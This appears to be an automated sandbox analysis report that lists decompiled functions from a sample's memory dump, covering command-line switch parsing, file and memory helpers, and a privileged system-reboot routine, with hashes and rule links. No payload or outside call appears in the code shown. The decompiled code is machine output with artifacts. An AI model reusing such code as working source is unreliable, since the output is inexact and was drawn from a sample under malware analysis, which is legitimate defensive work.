Part of subcall function 010D6285: GetLastError.KERNEL32(010D5BBC), ref: 010D6285

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: e96bab625b8581ea87d0365f95d76b6ca26b9254117f05b993042e73eed3e00a
Instruction ID: 94fae7b5e772a6104eb3040b26f2d6a2a54140a636ba37b5be9eca52e7acc0b8
Opcode Fuzzy Hash: e96bab625b8581ea87d0365f95d76b6ca26b9254117f05b993042e73eed3e00a
Instruction Fuzzy Hash: 52F05EB0704309ABE7A0EB74DD06FFE77A8DB54700F40446AA9C6D7181ED7A99848754

Uniqueness

Uniqueness Score: -1.00%

Function 010D4B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D4B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x10d8d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x10d8d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x10d8d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x10d8d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x10d8d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x10d8d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x10d8d6c)) = 0;
				return 0;
			}

0x010d4b66
0x010d4b74
0x010d4b98
0x010d4ba0
0x00000000
0x010d4bac
0x010d4ba4
0x00000000
0x010d4ba4
0x010d4b78
0x010d4b7e
0x010d4b84
0x010d4b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,010D4FA1,00000000), ref: 010D4B98

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: cd3d7e76d0ade06e8d3a550454395e3dad67e9ac289d66bba582a53519790310
Instruction ID: b0fe64ab250fa23c39f6da9dff6b6d31aba52bda05a48e9edf4b2ef231a3a3ae
Opcode Fuzzy Hash: cd3d7e76d0ade06e8d3a550454395e3dad67e9ac289d66bba582a53519790310
Instruction Fuzzy Hash: 3BF01231500B0DAE4771AE2ACC0269ABFE6EBA5270310892FD5EED21E0E7706441CB90

Uniqueness

Uniqueness Score: -1.00%

Function 010D66AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D66AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x010d66b1
0x010d66ba
0x010d66c7
0x010d66bc
0x010d66be
0x010d66be

APIs

GetFileAttributesA.KERNELBASE(?,010D4777,?,010D4E38,?), ref: 010D66B1

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: aa4709a03f615259f08adce981b9396b2dd94d46959f4c277090e7fa15368d44
Instruction ID: fab4fcb6f9cfebaaf7e17f2a236394ac8244f2f1f638011668b12a9a98944191
Opcode Fuzzy Hash: aa4709a03f615259f08adce981b9396b2dd94d46959f4c277090e7fa15368d44
Instruction Fuzzy Hash: 5BB09276222540826A61063968295562881A6C123A7E45B90F072C11D4CA3FD446D104

Uniqueness

Uniqueness Score: -1.00%

Function 010D4CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D4CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x010d4caa
0x010d4cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 010D4CAA

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 556f359041c4e409505310e875d9671b0c2e99390f8ed9999bfdcb1ad186310e
Instruction ID: 4697e91657c81aca3bf524f38987453eb2c7b178e18ce4404c03a84c3242081b
Opcode Fuzzy Hash: 556f359041c4e409505310e875d9671b0c2e99390f8ed9999bfdcb1ad186310e
Instruction Fuzzy Hash: B1B0123214420CF7CF102ED2E809F853F1DEBC4761F144000FA0C46040CA7794108795

Uniqueness

Uniqueness Score: -1.00%

Function 010D4CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D4CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x010d4cc8
0x010d4ccf

APIs

GlobalFree.KERNELBASE ref: 010D4CC8

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 449256702cc765ebfd780baa81ba342a7179df683086c909eee808a97aac1d84
Instruction ID: 3d4be067431c3b0bc94925d09708c8db4e76196c33f8ff34e5f860a1fc8f6827
Opcode Fuzzy Hash: 449256702cc765ebfd780baa81ba342a7179df683086c909eee808a97aac1d84
Instruction Fuzzy Hash: 84B0123100010CF78F102A52E8088453F1DD6C43607000010F90C42011CB3B98118684

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010D5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E010D5C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E010D6CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E010D6E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x10d8004; // 0xc2f4ed82
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E010D597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E010D44B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x10d9124 = E010D6285();
									_t75 = 0;
								}
								return E010D6CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E010D44B9(0, 0x521, 0x10d1140, 0, 0x40, 0);
												_t85 =  *0x10d8588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E010D667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E010D667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E010D5C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E010D1680(0x10d8c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E010D667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E010D667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x10d8a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E010D5C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x10d8b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x10d8a3a;
																}
																E010D1680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E010D658A(_t218, 0x104, 0x10d1140);
																if(E010D31E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x10d8a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x10d8a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x10d8a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x10d8a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x10d8a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x10d9a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x10d9a2c =  *0x10d9a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x10d8d48 =  *0x10d8d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x10d9a2c =  *0x10d9a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x10d9a2c =  *0x10d9a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x10d8d48 =  *0x10d8d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x10d9a2c =  *0x10d9a2c | 0x00000004;
																										L70:
																										 *0x10d8a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x10d9a2c = 3;
																	 *0x10d8a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x10d8a2c != 0 &&  *0x10d8b3e == 0) {
						if(GetModuleFileNameA( *0x10d9a3c, 0x10d8b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E010D66C8(0x10d8b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x010d5c9e
0x010d5ca9
0x010d5cb0
0x010d5cb3
0x010d5cb6
0x010d5cb7
0x010d5cb8
0x010d5cbd
0x010d6204
0x010d5ccb
0x00000000
0x010d5ccb
0x010d5cd3
0x010d5cd7
0x010d5cf4
0x00000000
0x010d5cf4
0x010d5cf8
0x010d5d00
0x00000000
0x010d5d06
0x010d5d06
0x010d5d0e
0x010d5d10
0x010d5d12
0x010d5d14
0x010d5d15
0x010d5d17
0x010d5d49
0x00000000
0x00000000
0x00000000
0x00000000
0x010d5d19
0x010d5d19
0x010d5d1d
0x00000000
0x010d5d3f
0x010d5d3f
0x010d5d4b
0x010d5d4b
0x010d5d4f
0x010d5d8d
0x00000000
0x010d5d93
0x010d5d93
0x010d5d9a
0x010d5d9d
0x010d5d9e
0x00000000
0x010d5d9e
0x010d5d51
0x010d5d5b
0x010d5d72
0x010d60fb
0x010d60fb
0x010d6207
0x010d620a
0x010d620b
0x010d620e
0x010d6217
0x010d5d78
0x010d5d78
0x010d5d80
0x010d5d83
0x010d5d84
0x00000000
0x010d5d84
0x010d5d5d
0x010d5d5f
0x010d5d62
0x010d5d68
0x010d5d64
0x010d5d64
0x010d5d64
0x00000000
0x010d5d62
0x010d5d5b
0x010d5d4f
0x010d5d1d
0x00000000
0x010d5d9f
0x010d5d9f
0x010d5da5
0x010d5dab
0x010d5dba
0x010d6218
0x010d621d
0x010d6220
0x010d6221
0x010d6229
0x010d6230
0x010d6247
0x010d626a
0x010d6272
0x010d6249
0x010d6255
0x010d625f
0x010d6264
0x010d6264
0x010d6284
0x010d5dc0
0x010d5dc0
0x010d5dca
0x010d5e22
0x00000000
0x00000000
0x00000000
0x00000000
0x010d5dcc
0x010d5dce
0x010d5e24
0x010d5e24
0x010d5e2c
0x010d5e47
0x010d5e4a
0x010d61d2
0x010d61e2
0x010d61e7
0x010d61ee
0x010d61f1
0x010d61f1
0x010d61f8
0x010d61f8
0x010d5e50
0x010d5e53
0x010d6109
0x010d611f
0x00000000
0x010d6125
0x010d6137
0x010d613a
0x010d613c
0x010d613e
0x010d613e
0x010d6141
0x010d6141
0x010d6143
0x010d6144
0x010d614a
0x00000000
0x010d6150
0x010d6152
0x010d615c
0x010d6170
0x010d6172
0x010d617c
0x010d6190
0x010d6190
0x010d6196
0x010d61a5
0x00000000
0x010d61ab
0x010d61b9
0x010d61c6
0x010d61c6
0x010d617e
0x010d6180
0x010d618a
0x00000000
0x00000000
0x00000000
0x00000000
0x010d618a
0x010d615e
0x010d6160
0x010d616a
0x00000000
0x00000000
0x00000000
0x00000000
0x010d616a
0x010d615c
0x010d614a
0x010d610b
0x010d610e
0x010d610e
0x00000000
0x010d5e59
0x010d5e59
0x010d5e5c
0x010d604f
0x010d6056
0x00000000
0x010d605c
0x010d606e
0x010d6071
0x010d6073
0x010d6075
0x010d6075
0x010d6078
0x010d6078
0x010d607a
0x010d607b
0x010d6081
0x00000000
0x010d6087
0x010d6087
0x010d608d
0x010d609c
0x00000000
0x010d60a2
0x010d60aa
0x010d60b2
0x010d60b7
0x010d60bd
0x010d60bf
0x010d60bf
0x010d60d6
0x010d60e0
0x010d60e7
0x010d60f5
0x00000000
0x00000000
0x00000000
0x00000000
0x010d60f5
0x010d609c
0x010d6081
0x010d5e62
0x010d5e62
0x010d5e65
0x010d5fd3
0x010d5fe9
0x00000000
0x010d5fef
0x010d5fef
0x010d5ff7
0x010d5ffd
0x010d6003
0x010d6006
0x010d6011
0x010d6014
0x010d603d
0x010d6016
0x010d6018
0x010d6019
0x010d601b
0x010d6033
0x010d601d
0x010d6020
0x010d6029
0x010d6022
0x010d6022
0x010d6022
0x010d6020
0x010d601b
0x010d6042
0x010d6044
0x010d6046
0x010d604a
0x010d5ff7
0x010d5fd5
0x010d5fd8
0x010d5fd8
0x00000000
0x010d5e6b
0x010d5e6b
0x010d5e6e
0x010d5f8b
0x010d5f99
0x00000000
0x010d5f9f
0x010d5fa7
0x010d5faf
0x00000000
0x010d5fb1
0x010d5fb3
0x00000000
0x010d5fb5
0x010d5fb7
0x00000000
0x010d5fb9
0x00000000
0x010d5fb9
0x010d5fb7
0x010d5fb3
0x010d5faf
0x010d5f8d
0x010d5f8d
0x010d5f8d
0x010d5f8f
0x010d5fc1
0x010d5fc1
0x010d5fc1
0x00000000
0x010d5e74
0x010d5e74
0x010d5e77
0x010d5ea0
0x010d5ebd
0x010d5f79
0x00000000
0x010d5f7f
0x010d5ec3
0x010d5ec3
0x010d5ecc
0x010d5ed4
0x010d5ed6
0x010d5edc
0x010d5edf
0x010d5eea
0x010d5eed
0x010d5f3f
0x010d5f40
0x00000000
0x010d5eef
0x010d5eef
0x010d5ef2
0x010d5f34
0x010d5ef4
0x010d5ef4
0x010d5ef7
0x010d5f2b
0x00000000
0x010d5ef9
0x010d5ef9
0x010d5efc
0x010d5f22
0x00000000
0x010d5efe
0x010d5eff
0x010d5f02
0x010d5f16
0x010d5f04
0x010d5f07
0x010d5f0d
0x010d5f46
0x010d5f46
0x010d5f09
0x010d5f09
0x010d5f09
0x010d5f07
0x010d5f02
0x010d5efc
0x010d5ef7
0x010d5ef2
0x010d5f4c
0x010d5f4e
0x010d5f50
0x010d5f54
0x010d5ed4
0x010d5ea2
0x010d5ea4
0x010d5eaf
0x010d5eaf
0x00000000
0x010d5e79
0x010d5e7d
0x00000000
0x010d5e83
0x010d5e83
0x010d5e83
0x010d5e85
0x010d5e85
0x010d5e8e
0x00000000
0x010d5e94
0x00000000
0x010d5e94
0x010d5e8e
0x010d5e7d
0x010d5e77
0x010d5e6e
0x010d5e65
0x010d5e5c
0x00000000
0x00000000
0x00000000
0x010d5dd0
0x010d5dd0
0x010d5dd0
0x00000000
0x010d5dd0
0x010d5dce
0x010d5dca
0x010d5dba
0x00000000
0x010d5d00
0x010d5dd9
0x010d5e04
0x010d61fe
0x010d5e0a
0x010d5e0c
0x010d5e17
0x010d5e17
0x010d5e04
0x010d6200
0x010d6200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 010D5CEE
GetModuleFileNameA.KERNEL32(010D8B3E,00000104,00000000,?,?), ref: 010D5DFC
CharUpperA.USER32(?), ref: 010D5E3E
CharUpperA.USER32(-00000052), ref: 010D5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 010D5F6F
CharUpperA.USER32(?), ref: 010D5FA7
CharUpperA.USER32(-0000004E), ref: 010D6008
CharUpperA.USER32(?), ref: 010D60AA
CloseHandle.KERNEL32(00000000,010D1140,00000000,00000040,00000000), ref: 010D61F1
ExitProcess.KERNEL32 ref: 010D61F8

Strings

", xrefs: 010D5D78
:, xrefs: 010D6118
RegServer, xrefs: 010D5F66
", xrefs: 010D612D

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: d4ad51167d742c183a3a4d72dd566cac846b3f39fc259af342b087e2309d1a30
Instruction ID: ce8f09d04842bd57c02f33e24f0dace517a9c3a8bda191de84b277cfac7e2e3b
Opcode Fuzzy Hash: d4ad51167d742c183a3a4d72dd566cac846b3f39fc259af342b087e2309d1a30
Instruction Fuzzy Hash: 75D18971A043455EEF7ADA3C8C487FA3FF1AB56344F0481EADDC6CA185DA7689828F50

Uniqueness

Uniqueness Score: -1.00%

Function 010D1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E010D1F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x10d9a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x10d8004; // 0xc2f4ed82
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E010D44B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E010D6CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E010D44B9(0, 0x522, 0x10d1140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E010D1EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x010d1f90
0x010d1f90
0x010d1f93
0x010d1f98
0x010d1fa4
0x010d1fa7
0x010d1fc5
0x010d1fcd
0x010d1fdb
0x010d1ee5
0x010d1eea
0x010d1ef1
0x010d1ef4
0x010d1f0c
0x010d1f2e
0x010d1f3a
0x010d1f46
0x010d1f4d
0x010d1f58
0x010d1f60
0x010d1f61
0x010d1f62
0x010d1f75
0x010d1f80
0x010d1f77
0x010d1f77
0x00000000
0x010d1f77
0x010d1f64
0x010d1f64
0x00000000
0x010d1f64
0x010d1f0e
0x010d1f0e
0x010d1f13
0x010d1f13
0x010d1f14
0x010d1f14
0x010d1f16
0x010d1f17
0x010d1f1a
0x010d1f1f
0x010d1f1f
0x010d1f86
0x010d1f8f
0x010d1fcf
0x010d1fd3
0x00000000
0x010d1fd3
0x010d1fa9
0x010d1fb4
0x010d1fbb
0x010d1fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x010d1fc3
0x010d1f9a
0x010d1f9a
0x010d1fa2
0x010d1fd9
